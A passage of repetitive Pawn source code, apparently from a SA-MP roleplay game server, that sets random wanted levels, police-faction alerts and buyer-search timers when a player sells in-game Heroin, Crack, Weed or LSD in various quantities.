		SetPlayerCriminal(playerid,INVALID_PLAYER_ID, "Cultivation Drugs",WLevel);
		SCM(playerid, COLOR_SINARANG, "You got wanted for transfering drugs.");
		new sendradio[144];
		format(sendradio, sizeof(sendradio), "[Dep-Warn]: {0069FF}%s suspicious for cultivation drugs.", PlayerInfo[playerid][pName]);
		SendFamilyMessage(1, COLOR_BLUE, sendradio);
		SendFamilyMessage(2, COLOR_BLUE, sendradio);
		SendFamilyMessage(3, COLOR_BLUE, sendradio);
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Heroin.");
		}
		if(GetRand == 2)
		{
		SCM(playerid, COLOR_SINARANG, "Good news! You didn't received any wanted levels.");
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Heroin.");
		}
        }
        if(WhichSelected[playerid] == 1 && (howmany >= 3000 && howmany < 7000))
        {
        new GetRand = RandomShomare(1,2);
        if(GetRand == 1)
        {
        WLevel += 2;
		SetPlayerWantedLevel(playerid,WLevel);
        WantedKamKonTimerValid[playerid] = true;
        WantedTimerEZ[playerid] = 900;
        PlayerTextDrawShow(playerid, WantedTTD[playerid]);
		SetPlayerCriminal(playerid,INVALID_PLAYER_ID, "Cultivation Drugs",WLevel);
		SCM(playerid, COLOR_SINARANG, "You got wanted for transfering drugs.");
		new sendradio[144];
		format(sendradio, sizeof(sendradio), "[Dep-Warn]: {0069FF}%s suspicious for cultivation drugs.", PlayerInfo[playerid][pName]);
		SendFamilyMessage(1, COLOR_BLUE, sendradio);
		SendFamilyMessage(2, COLOR_BLUE, sendradio);
		SendFamilyMessage(3, COLOR_BLUE, sendradio);
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Heroin.");
		}
		if(GetRand == 2)
		{
		SCM(playerid, COLOR_SINARANG, "Good news! You didn't received any wanted levels.");
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Heroin.");
		}
        }
        if(WhichSelected[playerid] == 1 && howmany >= 7000)
        {
        new GetRand = RandomShomare(1,2);
        if(GetRand == 1)
        {
        WLevel += 2;
		SetPlayerWantedLevel(playerid,WLevel);
        WantedKamKonTimerValid[playerid] = true;
        WantedTimerEZ[playerid] = 900;
        PlayerTextDrawShow(playerid, WantedTTD[playerid]);
		SetPlayerCriminal(playerid,INVALID_PLAYER_ID, "Cultivation Drugs",WLevel);
		SCM(playerid, COLOR_SINARANG, "You got wanted for transfering drugs.");
		new sendradio[144];
		format(sendradio, sizeof(sendradio), "[Dep-Warn]: {0069FF}%s suspicious for cultivation drugs.", PlayerInfo[playerid][pName]);
		SendFamilyMessage(1, COLOR_BLUE, sendradio);
		SendFamilyMessage(2, COLOR_BLUE, sendradio);
		SendFamilyMessage(3, COLOR_BLUE, sendradio);
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Heroin.");
		}
		if(GetRand == 2)
		{
		SCM(playerid, COLOR_SINARANG, "Good news! You didn't received any wanted levels.");
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Heroin.");
		}
        }
        if(WhichSelected[playerid] == 2 && (howmany >= 1 && howmany < 100))
        {
		SCM(playerid, COLOR_SINARANG, "Your Crack was too low to get wanted, so cops don't know yet you are transfering Crack");
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Crack.");
        }
        if(WhichSelected[playerid] == 2 && (howmany >= 100 && howmany < 500))
        {
        new GetRand = RandomShomare(1,2);
        if(GetRand == 1)
        {
        WLevel += 2;
		SetPlayerWantedLevel(playerid,WLevel);
        WantedKamKonTimerValid[playerid] = true;
        WantedTimerEZ[playerid] = 900;
        PlayerTextDrawShow(playerid, WantedTTD[playerid]);
		SetPlayerCriminal(playerid,INVALID_PLAYER_ID, "Cultivation Drugs",WLevel);
		SCM(playerid, COLOR_SINARANG, "You got wanted for transfering drugs.");
		new sendradio[144];
		format(sendradio, sizeof(sendradio), "[Dep-Warn]: {0069FF}%s suspicious for cultivation drugs.", PlayerInfo[playerid][pName]);
		SendFamilyMessage(1, COLOR_BLUE, sendradio);
		SendFamilyMessage(2, COLOR_BLUE, sendradio);
		SendFamilyMessage(3, COLOR_BLUE, sendradio);
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Crack.");
		}
		if(GetRand == 2)
		{
		SCM(playerid, COLOR_SINARANG, "Good news! You didn't received any wanted levels.");
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Crack.");
		}
        }
        if(WhichSelected[playerid] == 2 && (howmany >= 500 && howmany < 3000))
        {
        new GetRand = RandomShomare(1,2);
        if(GetRand == 1)
        {
        WLevel += 2;
		SetPlayerWantedLevel(playerid,WLevel);
        WantedKamKonTimerValid[playerid] = true;
        WantedTimerEZ[playerid] = 900;
        PlayerTextDrawShow(playerid, WantedTTD[playerid]);
		SetPlayerCriminal(playerid,INVALID_PLAYER_ID, "Cultivation Drugs",WLevel);
		SCM(playerid, COLOR_SINARANG, "You got wanted for transfering drugs.");
		new sendradio[144];
		format(sendradio, sizeof(sendradio), "[Dep-Warn]: {0069FF}%s suspicious for cultivation drugs.", PlayerInfo[playerid][pName]);
		SendFamilyMessage(1, COLOR_BLUE, sendradio);
		SendFamilyMessage(2, COLOR_BLUE, sendradio);
		SendFamilyMessage(3, COLOR_BLUE, sendradio);
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Crack.");
		}
		if(GetRand == 2)
		{
		SCM(playerid, COLOR_SINARANG, "Good news! You didn't received any wanted levels.");
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Crack.");
		}
        }
        if(WhichSelected[playerid] == 2 && (howmany >= 3000 && howmany < 7000))
        {
        new GetRand = RandomShomare(1,2);
        if(GetRand == 1)
        {
        WLevel += 2;
		SetPlayerWantedLevel(playerid,WLevel);
        WantedKamKonTimerValid[playerid] = true;
        WantedTimerEZ[playerid] = 900;
        PlayerTextDrawShow(playerid, WantedTTD[playerid]);
		SetPlayerCriminal(playerid,INVALID_PLAYER_ID, "Cultivation Drugs",WLevel);
		SCM(playerid, COLOR_SINARANG, "You got wanted for transfering drugs.");
		new sendradio[144];
		format(sendradio, sizeof(sendradio), "[Dep-Warn]: {0069FF}%s suspicious for cultivation drugs.", PlayerInfo[playerid][pName]);
		SendFamilyMessage(1, COLOR_BLUE, sendradio);
		SendFamilyMessage(2, COLOR_BLUE, sendradio);
		SendFamilyMessage(3, COLOR_BLUE, sendradio);
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Crack.");
		}
		if(GetRand == 2)
		{
		SCM(playerid, COLOR_SINARANG, "Good news! You didn't received any wanted levels.");
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Crack.");
		}
        }
        if(WhichSelected[playerid] == 2 && howmany >= 7000)
        {
        new GetRand = RandomShomare(1,2);
        if(GetRand == 1)
        {
        WLevel += 2;
		SetPlayerWantedLevel(playerid,WLevel);
        WantedKamKonTimerValid[playerid] = true;
        WantedTimerEZ[playerid] = 900;
        PlayerTextDrawShow(playerid, WantedTTD[playerid]);
		SetPlayerCriminal(playerid,INVALID_PLAYER_ID, "Cultivation Drugs",WLevel);
		SCM(playerid, COLOR_SINARANG, "You got wanted for transfering drugs.");
		new sendradio[144];
		format(sendradio, sizeof(sendradio), "[Dep-Warn]: {0069FF}%s suspicious for cultivation drugs.", PlayerInfo[playerid][pName]);
		SendFamilyMessage(1, COLOR_BLUE, sendradio);
		SendFamilyMessage(2, COLOR_BLUE, sendradio);
		SendFamilyMessage(3, COLOR_BLUE, sendradio);
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Crack.");
		}
		if(GetRand == 2)
		{
		SCM(playerid, COLOR_SINARANG, "Good news! You didn't received any wanted levels.");
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Crack.");
		}
        }
        if(WhichSelected[playerid] == 3 && (howmany >= 1 && howmany < 100))
        {
		SCM(playerid, COLOR_SINARANG, "Your Weed was too low to get wanted, so cops don't know yet you are transfering Weed");
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Weed.");
        }
        if(WhichSelected[playerid] == 3 && (howmany >= 100 && howmany < 500))
        {
        new GetRand = RandomShomare(1,2);
        if(GetRand == 1)
        {
        WLevel += 2;
		SetPlayerWantedLevel(playerid,WLevel);
        WantedKamKonTimerValid[playerid] = true;
        WantedTimerEZ[playerid] = 900;
        PlayerTextDrawShow(playerid, WantedTTD[playerid]);
		SetPlayerCriminal(playerid,INVALID_PLAYER_ID, "Cultivation Drugs",WLevel);
		SCM(playerid, COLOR_SINARANG, "You got wanted for transfering drugs.");
		new sendradio[144];
		format(sendradio, sizeof(sendradio), "[Dep-Warn]: {0069FF}%s suspicious for cultivation drugs.", PlayerInfo[playerid][pName]);
		SendFamilyMessage(1, COLOR_BLUE, sendradio);
		SendFamilyMessage(2, COLOR_BLUE, sendradio);
		SendFamilyMessage(3, COLOR_BLUE, sendradio);
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Weed.");
		}
		if(GetRand == 2)
		{
		SCM(playerid, COLOR_SINARANG, "Good news! You didn't received any wanted levels.");
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Weed.");
		}
        }
        if(WhichSelected[playerid] == 3 && (howmany >= 500 && howmany < 3000))
        {
        new GetRand = RandomShomare(1,2);
        if(GetRand == 1)
        {
        WLevel += 2;
		SetPlayerWantedLevel(playerid,WLevel);
        WantedKamKonTimerValid[playerid] = true;
        WantedTimerEZ[playerid] = 900;
        PlayerTextDrawShow(playerid, WantedTTD[playerid]);
		SetPlayerCriminal(playerid,INVALID_PLAYER_ID, "Cultivation Drugs",WLevel);
		SCM(playerid, COLOR_SINARANG, "You got wanted for transfering drugs.");
		new sendradio[144];
		format(sendradio, sizeof(sendradio), "[Dep-Warn]: {0069FF}%s suspicious for cultivation drugs.", PlayerInfo[playerid][pName]);
		SendFamilyMessage(1, COLOR_BLUE, sendradio);
		SendFamilyMessage(2, COLOR_BLUE, sendradio);
		SendFamilyMessage(3, COLOR_BLUE, sendradio);
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Weed.");
		}
		if(GetRand == 2)
		{
		SCM(playerid, COLOR_SINARANG, "Good news! You didn't received any wanted levels.");
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Weed.");
		}
        }
        if(WhichSelected[playerid] == 3 && (howmany >= 3000 && howmany < 7000))
        {
        new GetRand = RandomShomare(1,2);
        if(GetRand == 1)
        {
        WLevel += 2;
		SetPlayerWantedLevel(playerid,WLevel);
        WantedKamKonTimerValid[playerid] = true;
        WantedTimerEZ[playerid] = 900;
        PlayerTextDrawShow(playerid, WantedTTD[playerid]);
		SetPlayerCriminal(playerid,INVALID_PLAYER_ID, "Cultivation Drugs",WLevel);
		SCM(playerid, COLOR_SINARANG, "You got wanted for transfering drugs.");
		new sendradio[144];
		format(sendradio, sizeof(sendradio), "[Dep-Warn]: {0069FF}%s suspicious for cultivation drugs.", PlayerInfo[playerid][pName]);
		SendFamilyMessage(1, COLOR_BLUE, sendradio);
		SendFamilyMessage(2, COLOR_BLUE, sendradio);
		SendFamilyMessage(3, COLOR_BLUE, sendradio);
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Weed.");
		}
		if(GetRand == 2)
		{
		SCM(playerid, COLOR_SINARANG, "Good news! You didn't received any wanted levels.");
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Weed.");
		}
        }
        if(WhichSelected[playerid] == 3 && howmany >= 7000)
        {
        new GetRand = RandomShomare(1,2);
        if(GetRand == 1)
        {
        WLevel += 2;
		SetPlayerWantedLevel(playerid,WLevel);
        WantedKamKonTimerValid[playerid] = true;
        WantedTimerEZ[playerid] = 900;
        PlayerTextDrawShow(playerid, WantedTTD[playerid]);
		SetPlayerCriminal(playerid,INVALID_PLAYER_ID, "Cultivation Drugs",WLevel);
		SCM(playerid, COLOR_SINARANG, "You got wanted for transfering drugs.");
		new sendradio[144];
		format(sendradio, sizeof(sendradio), "[Dep-Warn]: {0069FF}%s suspicious for cultivation drugs.", PlayerInfo[playerid][pName]);
		SendFamilyMessage(1, COLOR_BLUE, sendradio);
		SendFamilyMessage(2, COLOR_BLUE, sendradio);
		SendFamilyMessage(3, COLOR_BLUE, sendradio);
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Weed.");
		}
		if(GetRand == 2)
		{
		SCM(playerid, COLOR_SINARANG, "Good news! You didn't received any wanted levels.");
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Weed.");
		}
        }
        if(WhichSelected[playerid] == 4 && (howmany >= 1 && howmany < 100))
        {
		SCM(playerid, COLOR_SINARANG, "Your LSD was too low to get wanted, so cops don't know yet you are transfering LSD");
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your LSD.");
        }
        if(WhichSelected[playerid] == 4 && (howmany >= 100 && howmany < 500))
        {
        new GetRand = RandomShomare(1,2);
        if(GetRand == 1)
        {
        WLevel += 2;
		SetPlayerWantedLevel(playerid,WLevel);
        WantedKamKonTimerValid[playerid] = true;
        WantedTimerEZ[playerid] = 900;
        PlayerTextDrawShow(playerid, WantedTTD[playerid]);
		SetPlayerCriminal(playerid,INVALID_PLAYER_ID, "Cultivation Drugs",WLevel);
		SCM(playerid, COLOR_SINARANG, "You got wanted for transfering drugs.");
		new sendradio[144];
		format(sendradio, sizeof(sendradio), "[Dep-Warn]: {0069FF}%s suspicious for cultivation drugs.", PlayerInfo[playerid][pName]);
		SendFamilyMessage(1, COLOR_BLUE, sendradio);
		SendFamilyMessage(2, COLOR_BLUE, sendradio);
		SendFamilyMessage(3, COLOR_BLUE, sendradio);
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your LSD.");
		}
		if(GetRand == 2)
		{
		SCM(playerid, COLOR_SINARANG, "Good news! You didn't received any wanted levels.");
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your LSD.");
		}
        }
        if(WhichSelected[playerid] == 4 && (howmany >= 500 && howmany < 3000))
        {
        new GetRand = RandomShomare(1,2);
        if(GetRand == 1)
        {
        WLevel += 2;
		SetPlayerWantedLevel(playerid,WLevel);
        WantedKamKonTimerValid[playerid] = true;
        WantedTimerEZ[playerid] = 900;
        PlayerTextDrawShow(playerid, WantedTTD[playerid]);
		SetPlayerCriminal(playerid,INVALID_PLAYER_ID, "Cultivation Drugs",WLevel);
		SCM(playerid, COLOR_SINARANG, "You got wanted for transfering drugs.");
		new sendradio[144];
		format(sendradio, sizeof(sendradio), "[Dep-Warn]: {0069FF}%s suspicious for cultivation drugs.", PlayerInfo[playerid][pName]);
		SendFamilyMessage(1, COLOR_BLUE, sendradio);
		SendFamilyMessage(2, COLOR_BLUE, sendradio);
		SendFamilyMessage(3, COLOR_BLUE, sendradio);
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your LSD.");
		}
		if(GetRand == 2)
		{
		SCM(playerid, COLOR_SINARANG, "Good news! You didn't received any wanted levels.");
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your LSD.");
		}
        }
        if(WhichSelected[playerid] == 4 && (howmany >= 3000 && howmany < 7000))
        {
        new GetRand = RandomShomare(1,2);
        if(GetRand == 1)
        {
        WLevel += 2;
		SetPlayerWantedLevel(playerid,WLevel);
        WantedKamKonTimerValid[playerid] = true;
        WantedTimerEZ[playerid] = 900;
        PlayerTextDrawShow(playerid, WantedTTD[playerid]);
		SetPlayerCriminal(playerid,INVALID_PLAYER_ID, "Cultivation Drugs",WLevel);
		SCM(playerid, COLOR_SINARANG, "You got wanted for transfering drugs.");
		new sendradio[144];
		format(sendradio, sizeof(sendradio), "[Dep-Warn]: {0069FF}%s suspicious for cultivation drugs.", PlayerInfo[playerid][pName]);
		SendFamilyMessage(1, COLOR_BLUE, sendradio);
		SendFamilyMessage(2, COLOR_BLUE, sendradio);
		SendFamilyMessage(3, COLOR_BLUE, sendradio);
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your LSD.");
		}
		if(GetRand == 2)
		{
		SCM(playerid, COLOR_SINARANG, "Good news! You didn't received any wanted levels.");
		new GetRandz = RandomShomare(1,3);
